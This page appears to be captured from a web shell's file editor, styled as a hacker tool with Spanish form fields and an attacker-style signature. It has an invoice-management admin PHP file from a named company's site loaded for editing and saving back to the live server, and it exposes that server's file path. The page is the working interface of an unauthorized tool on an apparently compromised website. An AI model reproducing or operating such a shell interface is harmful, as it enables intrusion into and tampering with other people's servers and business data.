

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: manage_invoices.php</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>&lt;?php
session_start();
require_once __DIR__ . &#039;/../includes/config.php&#039;;
require_once __DIR__ . &#039;/../includes/functions.php&#039;;
check_admin();

// Handle delete
if (isset($_GET[&#039;delete&#039;])) {
    $id = intval($_GET[&#039;delete&#039;]);
    $stmt = $conn-&gt;prepare(&quot;DELETE FROM invoices WHERE id = ?&quot;);
    $stmt-&gt;bind_param(&#039;i&#039;, $id);
    $stmt-&gt;execute();
    redirect(&#039;manage_invoices.php&#039;);
}

// Handle search and filters
$search = trim($_GET[&#039;search&#039;] ?? &#039;&#039;);
$status_filter = trim($_GET[&#039;status&#039;] ?? &#039;&#039;);
$date_from = trim($_GET[&#039;from&#039;] ?? &#039;&#039;);
$date_to = trim($_GET[&#039;to&#039;] ?? &#039;&#039;);

$where = [];
if ($search !== &#039;&#039;) {
    $esc = $conn-&gt;real_escape_string($search);
    $where[] = &quot;(invoice_number LIKE &#039;%$esc%&#039; OR client_name LIKE &#039;%$esc%&#039;)&quot;;
}
if ($status_filter !== &#039;&#039;) {
    $esc = $conn-&gt;real_escape_string($status_filter);
    $where[] = &quot;status = &#039;$esc&#039;&quot;;
}
if ($date_from !== &#039;&#039;) {
    $esc = $conn-&gt;real_escape_string($date_from);
    $where[] = &quot;date &gt;= &#039;$esc&#039;&quot;;
}
if ($date_to !== &#039;&#039;) {
    $esc = $conn-&gt;real_escape_string($date_to);
    $where[] = &quot;date &lt;= &#039;$esc&#039;&quot;;
}
$whereClause = &#039;&#039;;
if (!empty($where)) {
    $whereClause = &#039;WHERE &#039; . implode(&#039; AND &#039;, $where);
}

// Fetch invoices
$invoices = [];
$query = &quot;SELECT * FROM invoices $whereClause ORDER BY date DESC&quot;;
$res = $conn-&gt;query($query);
if ($res &amp;&amp; $res-&gt;num_rows &gt; 0) {
    while ($row = $res-&gt;fetch_assoc()) {
        $invoices[] = $row;
    }
}

// Unique statuses for filter dropdown
$statusOptions = [];
$resStatus = $conn-&gt;query(&quot;SELECT DISTINCT status FROM invoices&quot;);
if ($resStatus) {
    while ($row = $resStatus-&gt;fetch_assoc()) {
        $statusOptions[] = $row[&#039;status&#039;];
    }
}
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Manage Invoices - Admin&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;../assets/css/style.css&quot;&gt;
    &lt;!-- Include FontAwesome for icons --&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;../assets/fontawesome/fontawesome-all.min.css&quot;&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;admin-wrapper&quot;&gt;
    &lt;div class=&quot;admin-sidebar&quot;&gt;
        &lt;h2&gt;Admin Panel&lt;/h2&gt;
        &lt;!-- Sidebar toggle for collapse --&gt;
        &lt;span class=&quot;toggle-btn&quot; onclick=&quot;toggleSidebar()&quot;&gt;&lt;i class=&quot;fas fa-bars&quot;&gt;&lt;/i&gt;&lt;/span&gt;
        &lt;a href=&quot;dashboard.php&quot;&gt;&lt;i class=&quot;fas fa-tachometer-alt&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Dashboard&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_sliders.php&quot;&gt;&lt;i class=&quot;fas fa-sliders-h&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Manage Sliders&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_services.php&quot;&gt;&lt;i class=&quot;fas fa-cogs&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Manage Services&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_products.php&quot;&gt;&lt;i class=&quot;fas fa-box-open&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Manage Products&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_blogs.php&quot;&gt;&lt;i class=&quot;fas fa-blog&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Manage Blogs&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_gallery.php&quot;&gt;&lt;i class=&quot;fas fa-images&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Manage Gallery&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_clients.php&quot;&gt;&lt;i class=&quot;fas fa-users&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Manage Clients&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_appointments.php&quot;&gt;&lt;i class=&quot;fas fa-calendar-check&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Appointments&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_service_bookings.php&quot;&gt;&lt;i class=&quot;fas fa-tools&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Service Bookings&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_parts_bookings.php&quot;&gt;&lt;i class=&quot;fas fa-cubes&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Parts Bookings&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_enquiries.php&quot;&gt;&lt;i class=&quot;fas fa-envelope&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Enquiries&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;manage_invoices.php&quot; class=&quot;active&quot;&gt;&lt;i class=&quot;fas fa-file-invoice-dollar&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Invoices&lt;/span&gt;&lt;/a&gt;
        &lt;a href=&quot;logout.php&quot;&gt;&lt;i class=&quot;fas fa-sign-out-alt&quot;&gt;&lt;/i&gt;&lt;span class=&quot;label&quot;&gt;Logout&lt;/span&gt;&lt;/a&gt;
    &lt;/div&gt;
    &lt;div class=&quot;admin-content&quot;&gt;
        &lt;h1&gt;Invoices&lt;/h1&gt;
        &lt;p&gt;&lt;a href=&quot;invoice_form.php&quot; class=&quot;btn-primary&quot; style=&quot;padding:8px 15px;display:inline-block;&quot;&gt;Add New Invoice&lt;/a&gt;&lt;/p&gt;
        &lt;form method=&quot;get&quot; action=&quot;&quot; style=&quot;margin-bottom:20px;display:flex;flex-wrap:wrap;gap:10px;align-items:flex-end;&quot;&gt;
            &lt;div class=&quot;form-group&quot; style=&quot;margin-right:10px;&quot;&gt;
                &lt;label&gt;Search&lt;/label&gt;
                &lt;input type=&quot;text&quot; name=&quot;search&quot; value=&quot;&lt;?php echo e($search); ?&gt;&quot; placeholder=&quot;Invoice # or Client name&quot;&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot; style=&quot;margin-right:10px;&quot;&gt;
                &lt;label&gt;Status&lt;/label&gt;
                &lt;select name=&quot;status&quot;&gt;
                    &lt;option value=&quot;&quot;&gt;All&lt;/option&gt;
                    &lt;?php foreach ($statusOptions as $status): ?&gt;
                        &lt;option value=&quot;&lt;?php echo e($status); ?&gt;&quot; &lt;?php echo $status_filter === $status ? &#039;selected&#039; : &#039;&#039;; ?&gt;&gt;&lt;?php echo e(ucfirst($status)); ?&gt;&lt;/option&gt;
                    &lt;?php endforeach; ?&gt;
                &lt;/select&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot; style=&quot;margin-right:10px;&quot;&gt;
                &lt;label&gt;From&lt;/label&gt;
                &lt;input type=&quot;date&quot; name=&quot;from&quot; value=&quot;&lt;?php echo e($date_from); ?&gt;&quot;&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot; style=&quot;margin-right:10px;&quot;&gt;
                &lt;label&gt;To&lt;/label&gt;
                &lt;input type=&quot;date&quot; name=&quot;to&quot; value=&quot;&lt;?php echo e($date_to); ?&gt;&quot;&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;button type=&quot;submit&quot; class=&quot;btn-primary&quot; style=&quot;padding:8px 15px;&quot;&gt;Filter&lt;/button&gt;
            &lt;/div&gt;
        &lt;/form&gt;
        &lt;table class=&quot;table&quot;&gt;
            &lt;tr&gt;
                &lt;th&gt;ID&lt;/th&gt;
                &lt;th&gt;Invoice #&lt;/th&gt;
                &lt;th&gt;Client Name&lt;/th&gt;
                &lt;th&gt;Amount (₹)&lt;/th&gt;
                &lt;th&gt;Date&lt;/th&gt;
                &lt;th&gt;Status&lt;/th&gt;
                &lt;th&gt;Actions&lt;/th&gt;
            &lt;/tr&gt;
            &lt;?php foreach ($invoices as $inv): ?&gt;
            &lt;tr&gt;
                &lt;td&gt;&lt;?php echo $inv[&#039;id&#039;]; ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e($inv[&#039;invoice_number&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e($inv[&#039;client_name&#039;]); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo number_format($inv[&#039;amount&#039;], 2); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo date(&#039;Y-m-d&#039;, strtotime($inv[&#039;date&#039;])); ?&gt;&lt;/td&gt;
                &lt;td&gt;&lt;?php echo e(ucfirst($inv[&#039;status&#039;])); ?&gt;&lt;/td&gt;
                &lt;td class=&quot;actions&quot; style=&quot;white-space:nowrap;&quot;&gt;
                    &lt;a href=&quot;invoice_view.php?id=&lt;?php echo $inv[&#039;id&#039;]; ?&gt;&quot; title=&quot;View PDF&quot;&gt;&lt;i class=&quot;fas fa-file-pdf&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                    &lt;a href=&quot;invoice_form.php?id=&lt;?php echo $inv[&#039;id&#039;]; ?&gt;&quot; title=&quot;Edit&quot; style=&quot;margin-left:8px;&quot;&gt;&lt;i class=&quot;fas fa-edit&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                    &lt;a href=&quot;manage_invoices.php?delete=&lt;?php echo $inv[&#039;id&#039;]; ?&gt;&quot; title=&quot;Delete&quot; onclick=&quot;return confirm(&#039;Delete this invoice?&#039;);&quot; style=&quot;margin-left:8px;&quot;&gt;&lt;i class=&quot;fas fa-trash&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                &lt;/td&gt;
            &lt;/tr&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/table&gt;
        &lt;footer class=&quot;admin-footer&quot;&gt;
            &amp;copy; 2026 Blueswirlz Engineers &amp; Consultants. All rights reserved.
        &lt;/footer&gt;
    &lt;/div&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/blueplanet.co.in/admin/manage_invoices.php'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Fblueplanet.co.in%2Fadmin' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>